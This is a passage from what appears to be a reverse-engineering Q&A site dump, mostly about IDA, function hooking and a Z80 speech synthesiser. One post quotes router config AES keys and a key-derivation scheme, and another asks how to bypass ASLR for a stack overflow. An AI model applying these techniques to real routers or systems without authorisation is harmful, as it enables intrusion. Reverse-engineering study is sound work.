[eax+144h]&#xA;.text:00558A1D&#xA;.text:00558A1D locret_558A1D:                          ; CODE XREF: sub_5589CB+A↑j&#xA;.text:00558A1D                                         ; sub_5589CB+17↑j ...&#xA;.text:00558A1D                 retn&#xA;.text:00558A1D sub_5589CB      endp&#xA;.text:00558A1D&#xA;.text:00558A1E ; ---------------------------------------------------------------------------&#xA;.text:00558A1E                 mov     eax, [ecx+420h]&#xA;.text:00558A24                 retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;here IDA pseudocode:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void *__usercall sub_5589CB@&amp;lt;eax &amp;gt; (float *a1@&amp;lt;ecx &amp;gt; , char a2@&amp;lt;efl &amp;gt; , float a3@&amp;lt;xmm1 &amp;gt; )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the past I have hooked without problems other naked functions with a code like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;__declspec(naked)  void *  HookFunction(float *a1 , char a2, float  a3)&#xA;{&#xA;    __asm&#xA;    {&#xA;&#xA;        pushad // backup general purpose registers&#xA;    }&#xA;&#xA;    MyExternalFunction();&#xA;&#xA;    __asm&#xA;    {&#xA;        popad // restore general purpose registers&#xA;            &#xA;        jmp AddressOfHookFunction&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but this time there are some CPU registers like &amp;quot;xmm1&amp;quot; that are not cover with pushad/popad and the result is that the function lose the values of the registry if I call &amp;quot;MyExternalFunction&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;There is a way to backup/restore efl and xmm1 registers ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="33776" LastActivityDate="2020-12-15T14:36:14.583" Title="Hook naked function with CPU registers" Tags="|c++|function-hooking|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26548" PostTypeId="1" CreationDate="2020-12-15T13:21:21.787" Score="1" ViewCount="335" Body="&lt;p&gt;When Ida parsing big file(50 MB) its can take few hours to parse binary file to IDB even with Intel I9 CPU, Maybe Ida doesn't use all cores?&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to make that process faster? run it on all over cores?&lt;/p&gt;&#xA;&lt;p&gt;Maybe if I need to parse to idb only functiond that contains specific string ,can I do that insread of parsing all binary to Idb?&lt;/p&gt;&#xA;" OwnerUserId="35248" LastActivityDate="2020-12-15T13:21:21.787" Title="Parsing binary file to Idb faster with Ida" Tags="|ida|idapython|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26549" PostTypeId="2" ParentId="26547" CreationDate="2020-12-15T13:25:41.927" Score="3" Body="&lt;p&gt;There is no instruction for pushing xmm registers, but you can do as follow:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;__asm&#xA;{&#xA;    sub     esp, 16&#xA;    movdqu  [esp], xmm0&#xA;    sub     esp, 16&#xA;    movdqu  [esp], xmm1&#xA;&#xA;    pushad&#xA;}&#xA;&#xA;MyExternalFunction();&#xA;&#xA;__asm&#xA;{&#xA;    popad&#xA;&#xA;    movdqu  xmm1, [esp]&#xA;    add     esp, 16&#xA;    movdqu  xmm0, [esp]&#xA;    add     esp, 16&#xA;&#xA;    jmp AddressOfHookFunction&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2020-12-15T14:36:14.583" LastActivityDate="2020-12-15T14:36:14.583" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26550" PostTypeId="1" CreationDate="2020-12-15T13:29:59.963" Score="1" ViewCount="117" Body="&lt;p&gt;There is not enough info on the web from what I have seen.&lt;/p&gt;&#xA;&lt;p&gt;Most write ups/guides/blog-posts are like this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;They provide only the decrypt/encrypt script-tool with how to run it and nothing else&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They provide the script with where to find the keys but not how he was able to locate them or the steps to do so nor where he got the signature part which is necessary for encrypting (so a one can apply that method to a bit diff version of the router)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They provide everything but the encrypting function.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So, I was never able to find a guide that I can replicate on just the same model but with a different key or signature not a single full guide.&lt;/p&gt;&#xA;&lt;p&gt;Now let's say you have a firmware file &amp;amp; the config file. Knowing that you can extract the firmware files using 7-zip/binwalk or whatever, how to proceed from there to figure out the encryption of the config file?&lt;/p&gt;&#xA;&lt;p&gt;Note that the answer doesn't have to go into much detail; just a quick walk through the steps in general is fine.&lt;/p&gt;&#xA;" OwnerUserId="35221" LastEditorUserId="24222" LastEditDate="2020-12-19T21:41:08.610" LastActivityDate="2020-12-19T21:41:08.610" Title="How does one start with reversing router config encryption?" Tags="|firmware|encryption|decryption|firmware-analysis|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26551" PostTypeId="1" CreationDate="2020-12-15T19:15:22.030" Score="2" ViewCount="787" Body="&lt;p&gt;i tried router pass view tool on (a closed source one) it's able to decrypt the older version of it V3.1. tested on two routers of it and it gave me this output&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Encrypted Data Start Position: 227&#xA;Encryption Algorithm: AES-128&#xA;Encryption Key: 34303263333864653339626564363635&#xA;Compression: zlib / deflate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Encrypted Data Start Position: 227&#xA;Encryption Algorithm: AES-128&#xA;Encryption Key: 4772574D33487A264C54767A26665E39&#xA;Compression: zlib / deflate     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;also someone told me&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;the encryption algorithm was changed to AES-256-CBC and key and iv are&#xA;derived from MAC, SerialNumber and EncryKey.&lt;/p&gt;&#xA;&lt;p&gt;snprintf(&amp;amp;g_keySeed, 65, &amp;quot;%s%sMcd5c46e&amp;quot;, EncryKey, SN);&#xA;snprintf(&amp;amp;g_ivSeed, 65, &amp;quot;G21b667b%s%s&amp;quot;, MAC, EncryKey);&lt;/p&gt;&#xA;&lt;p&gt;sha256(key_seed, key_seed_len, &amp;amp;aes_key);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;sha256(iv_seed, iv_seed_len,&amp;amp;aes_iv);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;without telling me what's that encrykey and didn't reply again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1-DGUye_3-EF8KxvEiaKrfzOmBNaWDhkE/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;the firmware and config files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35221" LastActivityDate="2020-12-15T19:15:22.030" Title="ZTE AES-256-CBC Encrypted backup config file" Tags="|ida|firmware|encryption|decryption|firmware-analysis|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26552" PostTypeId="2" ParentId="26544" CreationDate="2020-12-15T19:33:26.893" Score="6" Body="&lt;p&gt;I can't really understand the speech from the &lt;a href=&quot;https://www.youtube.com/watch?v=xgy5WaNhQSM&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hlasový program&lt;/a&gt; at all, but perhaps it is suitable for your needs.&lt;/p&gt;&#xA;&lt;p&gt;I don't have any specific knowledge of this particular software, but based on the time of release and the size, it's almost undoubtedly a formant-based system.  The typical software (on the 8-bit computers of that vintage) used a text-to-phoneme and then phoneme-to-formant conversion.&lt;/p&gt;&#xA;&lt;p&gt;A somewhat larger but more intelligible system from that era was &amp;quot;S.A.M.&amp;quot; or &amp;quot;Software Automated Mouth&amp;quot; that someone has now &lt;a href=&quot;https://discordier.github.io/sam/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ported to Javascript&lt;/a&gt;.  Follow the links from there to read more, including reverse-engineered C code.&lt;/p&gt;&#xA;&lt;p&gt;The author of that software from the early 1980s, Mark Barton, was actually &lt;a href=&quot;https://ataripodcast.libsyn.com/antic-interview-385-software-automatic-mouth-mark-barton&quot; rel=&quot;nofollow noreferrer&quot;&gt;recently interviewed&lt;/a&gt; and offers some insights into that software.&lt;/p&gt;&#xA;&lt;h1&gt;This program&lt;/h1&gt;&#xA;&lt;p&gt;Here's a further analysis of your reverse-engineered software.  I'll tell you how I did it as well as showing the result.  First, I started looking at the inner-most loop and successively rewrote it, testing the result each time to make sure it produced identical results at each step.  Then I essentially repeated that for larger and larger portions of the function.  I also renamed and added variables to make them better reflect how the software is actually using them.  While the Z80 is limited in the registers it can use (and what those registers can do) we do not have that same limitation in C++, so the code is rewritten for clarity.&lt;/p&gt;&#xA;&lt;h2&gt;say_char()&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;void say_char(char chr)         // chr =  &amp;lt; `A` , `Z`+26 &amp;gt;&#xA;{&#xA;    const Chain *chain = &amp;amp;chain_sequence[chain_start[chr - 'A']];&#xA;    for (BYTE c=0; (c &amp;amp; 0x80) == 0; ++chain) {&#xA;        // count is in low four bits of c, end flag is high bit&#xA;        for (c = chain-&amp;gt;copies_and_end(); c &amp;amp; 0xf; --c) {&#xA;            BYTE a = chain-&amp;gt;numbits_lookup();&#xA;            if (a != 0) {&#xA;                BYTE bitcount = num_bits[a];&#xA;                BYTE bitloc = chain-&amp;gt;start_index();&#xA;&#xA;                // bitcount is the number of bits to emit&#xA;                // starting with the MSB of sound_bits[bitloc]&#xA;                for ( ;bitcount; ++bitloc) {&#xA;                    for (BYTE mask = 0x80; mask; mask &amp;gt;&amp;gt;= 1) {&#xA;                        _sound_on = (mask &amp;amp; sound_bits[bitloc]);&#xA;                        for (BYTE ws = t_speed; ws; ws--)&#xA;                            sound_out(_sound_on);&#xA;                        if (--bitcount == 0)&#xA;                            break;&#xA;                    }&#xA;                }&#xA;            }&#xA;            say_wait(t_pause);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's the explanation.  First, I renamed the structures:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tab_char0 --&amp;gt; chain_start&#xA;tab_char1 --&amp;gt; chain_sequence&#xA;tab_char2 --&amp;gt; sound_bits&#xA;tab_char3 --&amp;gt; num_bits&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I modified the &lt;code&gt;chain_sequence&lt;/code&gt; to use a two-byte C++ structure instead.  The definition is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct Chain {&#xA;        // bits: 7    6    5    4    3    2    1    0&#xA;    BYTE a;  //  m2   m1   c0   -    l3   l2   l1   l0&#xA;    BYTE b;  // end | c7   c6   c5   c4   c3   c2   c1&#xA;&#xA;    bool end() const { return b &amp;amp; 0x80; }&#xA;    BYTE copies() const { return a &amp;amp; 0x0F; }&#xA;    BYTE start_index() const { return ((b &amp;amp; 0x7f) &amp;lt;&amp;lt; 1) | ((a &amp;amp; 0x20) &amp;gt;&amp;gt; 5); }&#xA;    BYTE copies_and_end() const {&#xA;        return (a &amp;amp; 0x0F) | (b &amp;amp; 0x80);&#xA;    }&#xA;    BYTE numbits_lookup() const {&#xA;        return (a &amp;gt;&amp;gt; 5) &amp;amp; 7;&#xA;    }&#xA;    friend std::ostream&amp;amp; operator&amp;lt;&amp;lt;(std::ostream&amp;amp; out, const Chain&amp;amp; ch) {&#xA;        return out &#xA;            &amp;lt;&amp;lt; &amp;quot;copies = &amp;quot; &amp;lt;&amp;lt; unsigned(ch.copies())&#xA;            &amp;lt;&amp;lt; &amp;quot;, start_index = &amp;quot; &amp;lt;&amp;lt; unsigned(ch.start_index())&#xA;            &amp;lt;&amp;lt; &amp;quot;, numbits_lookup = &amp;quot; &amp;lt;&amp;lt; unsigned(ch.numbits_lookup())&#xA;            &amp;lt;&amp;lt; &amp;quot;, end = &amp;quot; &amp;lt;&amp;lt; std::boolalpha &amp;lt;&amp;lt; bool(ch.b &amp;amp; 0x80)&#xA;            &amp;lt;&amp;lt; &amp;quot;, useless = &amp;quot; &amp;lt;&amp;lt; bool(ch.a &amp;amp; 0x10);&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Due to this change, I had to modify the &lt;code&gt;chain_start&lt;/code&gt; table to halve each of the entries.&lt;/p&gt;&#xA;&lt;h2&gt;How it works&lt;/h2&gt;&#xA;&lt;p&gt;For each letter, the code starts with a lookup in the &lt;code&gt;chain_start&lt;/code&gt; table.  That is an index into the &lt;code&gt;chain_sequence&lt;/code&gt; table.  If we select the first three entries in that table, they look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;const static Chain chain_sequence[98] = {&#xA;    /* A = 0 */ { 0x36, 0x81, },&#xA;    /* B = 1 */ { 0x34, 0x19, }, { 0x31, 0xab, },&#xA;    /* C = 3 */ { 0x18, 0x19, }, { 0x91, 0xc3, },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Each of these is a chain sequence, with the last item identified with the high bit of the second byte set.  For the letter 'A', it translates to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;copies = 6, start_index = 3, numbits_lookup = 1, end = true &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What this then means is that the code creates six copies of a bit pattern.  Each copy ends with &lt;code&gt;t_pause&lt;/code&gt; zero bits.  For the beginning bits of each copy, the code uses the &lt;code&gt;numbits_lookup&lt;/code&gt; value to look up the desired length in the 5-byte &lt;code&gt;num_bits&lt;/code&gt;.  So for 'A', the lookup is 1 and that corresponds to 0x2e = 46, but the way the code is written, that actually corresponds to one fewer bits actually emitted, or 45 in this case.&lt;/p&gt;&#xA;&lt;p&gt;Next it uses the &lt;code&gt;start_index&lt;/code&gt; as the index into &lt;code&gt;sound_bits&lt;/code&gt;.  Each byte in the table is then clocked out starting with the most significant bit of each byte.  So in this case, index 3 and a length of 45 bits corresponds to these entries in the table:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0xc3 0xe1 0xc7 0x8f, 0x0f, 0xf8&#xA;&#xA;1100 0011  1110 0001  1100 0111  1000 1111  0000 1111  1111 10xx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The last two bits, marked xx are unused.  So the effect of this is that the output corresponds to six copies of this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1100001111100001110001111000111100001111111110&#xA;... followed by `t_pause` 0 bits&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Commentary&lt;/h2&gt;&#xA;&lt;h3&gt;Translation bug&lt;/h3&gt;&#xA;&lt;p&gt;There is a bug in the code.  If you look closely, one of the bits in what I'm calling &lt;code&gt;Chain&lt;/code&gt; is not used (bit 4 of the first byte), but one of the other bits is used twice (bit 5 of the first byte).&lt;/p&gt;&#xA;&lt;p&gt;Indeed, I disassembled the original Z80 code and found this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;add hl,de       ; cy = 0 (can't overflow)&#xA;ld b,(hl)       ; b = bitlen[a];&#xA;pop hl          ;&#xA;inc hl          ;&#xA;ld a,(hl)       ; a = chain_sequence[hl + 1]&#xA;dec hl          ;&#xA;push hl         ;&#xA;rla             ; the carry shifted in is always zero&#xA;ld de,sound_bits    ; point to bit table&#xA;ld l,a          ;&#xA;ld h,000h       ;&#xA;add hl,de       ; hl = sound_bits[a]&#xA;ld a,080h       ; start with mask = 0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Your code seems to imply that the carry bit is set when calling what I've labeled &lt;code&gt;start_index()&lt;/code&gt; and it is, but closer to the relevant &lt;code&gt;rla&lt;/code&gt; instruction that creates the &lt;code&gt;sound_bits&lt;/code&gt; index byte, the carry bit is guaranteed to be zero.  The add instruction, as noted above, cannot overflow and so clears the carry bit.  None of the instructions from there to the &lt;code&gt;rla&lt;/code&gt; instruction alter the carry bit, so it is zero at that point.&lt;/p&gt;&#xA;&lt;h3&gt;Other observations&lt;/h3&gt;&#xA;&lt;p&gt;Also the first three bytes of the &lt;code&gt;sound_bits&lt;/code&gt; array appear to be unused.&lt;/p&gt;&#xA;&lt;p&gt;There doesn't appear to be a lot of overlapping data, but there could be.  The chain sequence for one of the letters is re-used.  I haven't worked on decoding the actual diacritics used here, but if the second 26 letters are designated A' to Z', the one for M' starts at index 68 and includes 5 chain segments.  The one for N' uses the last three of these segments.&lt;/p&gt;&#xA;&lt;p&gt;Also for short and long versions of the same vowel, such as A and A' (A with čárka signifies a long vowel in Czech), the current code repeats the chain token, but with just a longer sequence.  It might be possible to combine them and use a single bit flag to indicate a vowel.&lt;/p&gt;&#xA;&lt;p&gt;On a 16-bit machine, this could be made much more efficient by restructuring the data.  It could also be modified to be event driven on an embedded system.  For example, this could be interrupt-driven by a timer interrupt.  Or one could create a queue of samples and use DMA transfer to clock them out to a speaker.&lt;/p&gt;&#xA;&lt;h2&gt;Physics&lt;/h2&gt;&#xA;&lt;p&gt;What this is doing is creating the lowest frequency via a sequence of bits (minimum of 45) followed by &lt;code&gt;t_pause&lt;/code&gt; zeroes.  The higher frequencies are created within the leading bit patterns in each copy.  As expected, this a formant-based synthesizer with relatively low resolution.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2020-12-17T16:03:13.890" LastActivityDate="2020-12-17T16:03:13.890" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26553" PostTypeId="1" CreationDate="2020-12-15T21:00:10.000" Score="2" ViewCount="1249" Body="&lt;p&gt;I have found a stack buffer overflow.&lt;/p&gt;&#xA;&lt;p&gt;Currently, this is the situation:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NX/DEP disabled&lt;/li&gt;&#xA;&lt;li&gt;ASLR enabled&lt;/li&gt;&#xA;&lt;li&gt;Not a PIE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I am able to override the return address and jump to PLT sections.&lt;/p&gt;&#xA;&lt;p&gt;My problem is that I can only copy data until the return address because of the null byte, therefore I can not jump to my shellcode in the stack. The binary starts in &lt;code&gt;0x00090000&lt;/code&gt;, so it is a problem to perform ROP gadget, since I can copy only one address until the return address.&lt;/p&gt;&#xA;&lt;p&gt;Also, my binary contains a call to system that I can jump to, but in this case I need to put the address of the string argument in R0, and this is not possible due to the ASLR. I am also able to override 4 registers.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have an idea how to bypass the ASLR here without leaking an address? Current architecture: ARM.&lt;/p&gt;&#xA;" OwnerUserId="34921" LastEditorUserId="37138" LastEditDate="2021-11-24T15:23:06.780" LastActivityDate="2021-11-24T15:50:10.237" Title="Bypassing ASLR without leak address" Tags="|exploit|buffer-overflow|" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="26554" PostTypeId="2" ParentId="26542" CreationDate="2020-12-15T21:55:10.663" Score="2" Body="&lt;p&gt;This is a pretty standard assembly syntax and not particular to AArch64.&lt;/p&gt;&#xA;&lt;p&gt;The general pattern looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[reg, displacement]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(In some assemblers parentheses are used instead of square brackets)&lt;/p&gt;&#xA;&lt;p&gt;The operation performed is approximately equivalent to the C expression:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;*(reg+displacement)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In other words, the displacement is added to the value of the register and the resulting value is &lt;em&gt;dereferenced&lt;/em&gt; as if it was a pointer. For load instruction (LDR), the memory is &lt;em&gt;read&lt;/em&gt; from and the result is stored in the destination register; for the store (STR), the source register’s value is &lt;em&gt;written&lt;/em&gt; to the memory at the calculated address.&lt;/p&gt;&#xA;&lt;p&gt;In case of the SP reference, IDA converted the raw displacement value to a &lt;em&gt;stack variable&lt;/em&gt; reference. This is done so it’s easier to track accesses to the same area of the stack frame across the whole function.&#xA;While the SP value may change at runtime, the  stack variables will be stored at the same offset from it on each run of the program.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-15T21:55:10.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26556" PostTypeId="1" AcceptedAnswerId="26561" CreationDate="2020-12-16T07:16:38.070" Score="0" ViewCount="875" Body="&lt;p&gt;For the past few years I've been using an ida color scheme which I created, that was very easy on my eyes with the previous versions of &lt;strong&gt;IDA Pro&lt;/strong&gt; (&lt;strong&gt;&amp;lt;7.0&lt;/strong&gt;). However, after start using version &lt;strong&gt;7.5&lt;/strong&gt; I cannot see any option to import colors from &lt;code&gt;.clr&lt;/code&gt; files or export the current ones.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;IDA Pro 7.0&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FnkG2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FnkG2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;IDA Pro 7.5&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SArl3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SArl3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It seems to be a lot of font options are missing from the new version as well.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;IDA Pro 7.0 Fonts&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DAqMR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DAqMR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;IDA Pro 7.5 Fonts&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pdSk6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pdSk6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I don't have a lot of experience with IDA gui. I'd appreciate any help.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I fixed the font problem by installing the desired font. However I still cannot figure out how to import &lt;code&gt;.clr&lt;/code&gt; files&lt;/p&gt;&#xA;" OwnerUserId="20848" LastEditorUserId="20848" LastEditDate="2020-12-16T08:58:46.270" LastActivityDate="2020-12-16T11:45:37.300" Title="IDA pro 7.5 - No previous fonts / color imports" Tags="|ida|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26558" PostTypeId="1" AcceptedAnswerId="26562" CreationDate="2020-12-16T07:46:38.277" Score="0" ViewCount="169" Body="&lt;p&gt;Is it possible to parse the IAT using IDApython?&lt;/p&gt;&#xA;&lt;p&gt;i know how to do it with python libraries like lief, but i was wondering if IDApython also has an ability to parse IAT or not?&lt;/p&gt;&#xA;" OwnerUserId="28173" LastActivityDate="2020-12-16T14:32:35.403" Title="How to parse the IAT using IDApython?" Tags="|ida|idapython|ida-plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26559" PostTypeId="1" AcceptedAnswerId="26563" CreationDate="2020-12-16T07:49:46.223" Score="1" ViewCount="714" Body="&lt;p&gt;I am trying to move some of my PE parsing into IDApython, i know how to do this with libraries like lief, but is it possible to parse the PE headers using IDA python, just like lief? i want to get all the info from the header like is debug info present and is the file signed and the compilation time and so on.&lt;/p&gt;&#xA;&lt;p&gt;how to parse PE headers using IDApython? any guide? tried googling but there is nothing.&lt;/p&gt;&#xA;" OwnerUserId="28173" LastActivityDate="2021-03-27T08:11:21.800" Title="How to parse the NT headers and section headers of a PE file using IDApython?" Tags="|ida|idapython|ida-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26560" PostTypeId="2" ParentId="26553" CreationDate="2020-12-16T08:17:23.453" Score="-1" Body="&lt;p&gt;Perhaps &lt;a href=&quot;https://github.com/zeroKilo/ASLRCalcWV&quot; rel=&quot;nofollow noreferrer&quot;&gt;my friend's tool&lt;/a&gt; can help you, it calculates addresses at runtime.&lt;/p&gt;&#xA;" OwnerUserId="35139" LastActivityDate="2020-12-16T08:17:23.453" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26561" PostTypeId="2" ParentId="26556" CreationDate="2020-12-16T11:45:37.300" Score="4" Body="&lt;p&gt;IDA Pro dropped support for the &lt;code&gt;.clr&lt;/code&gt; theme format in favour of CSS themes &lt;a href=&quot;https://www.hex-rays.com/products/ida/news/7_3/#regular-page&quot; rel=&quot;nofollow noreferrer&quot;&gt;upon the release of the 7.3 update&lt;/a&gt;. In order to port older &lt;code&gt;.clr&lt;/code&gt; themes to the current format you can use a Python script that Hex-Rays provide &lt;a href=&quot;https://www.hex-rays.com/wp-content/uploads/2019/10/port_clr72_to_css.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;e.g.&#xA;&lt;code&gt;port_clr72_to_css.py -i {theme}.clr &amp;gt; {theme}.css&lt;/code&gt;&#xA;to produce a CSS formatted theme which can be placed in the relevant directory of your IDA 7.5 install: &lt;code&gt;$IDA_INSTALL/themes/{theme}/{theme}.css&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Further documentation on the new themes can be found on &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/themes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hex-Rays site&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="35255" LastActivityDate="2020-12-16T11:45:37.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26562" PostTypeId="2" ParentId="26558" CreationDate="2020-12-16T14:32:35.403" Score="1" Body="&lt;p&gt;There’s no built-in functionality for that, it’s too target-specific to be useful as standard API. What you &lt;em&gt;can&lt;/em&gt; do is to retrieve the list of exports and/or imports for the file which was used to create the database. If you need the low-level IAT details you’ll have to parse it manually from memory or database (not sure if database keeps enough information so you may need to go back to the input file).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-16T14:32:35.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26563" PostTypeId="2" ParentId="26559" CreationDate="2020-12-16T14:38:45.930" Score="2" Body="&lt;p&gt;The PE header area is not loaded into the database by default but you can do it by enabling “manual load” in the initial load dialog. However, the copy of the header &lt;em&gt;is&lt;/em&gt; saved in the database and can be accessed using the &lt;code&gt;idautils.peutils_t&lt;/code&gt; class.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-16T14:38:45.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26565" PostTypeId="1" AcceptedAnswerId="26576" CreationDate="2020-12-16T19:26:49.157" Score="0" ViewCount="124" Body="&lt;p&gt;I ask if exist some c compiler option that can &amp;quot;keep&amp;quot; some imformation after compile that can be visible when I disassamble with IDA.&lt;/p&gt;&#xA;&lt;p&gt;This because I need to find a particular funciton with IDA but without a &amp;quot;flag&amp;quot; is not easy.&lt;/p&gt;&#xA;&lt;p&gt;In short I have a function called &amp;quot;Sbar_Draw&amp;quot; and I like to write inside a message for example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;char * test;&#xA;&#xA;test = &amp;quot;This is the function name: Sbar_Draw/n&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have already tried to do it, but after disassably with IDA this information seem lost.&lt;/p&gt;&#xA;&lt;p&gt;There is some compile option (or other way) that allow me to easy find a function when I disassambly with IDA ?&lt;/p&gt;&#xA;&lt;p&gt;Thank you !&lt;/p&gt;&#xA;" OwnerUserId="33776" LastEditorUserId="33776" LastEditDate="2020-12-16T19:42:47.647" LastActivityDate="2020-12-17T16:53:33.487" Title="Visual c compiler options" Tags="|ida|disassembly|c|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
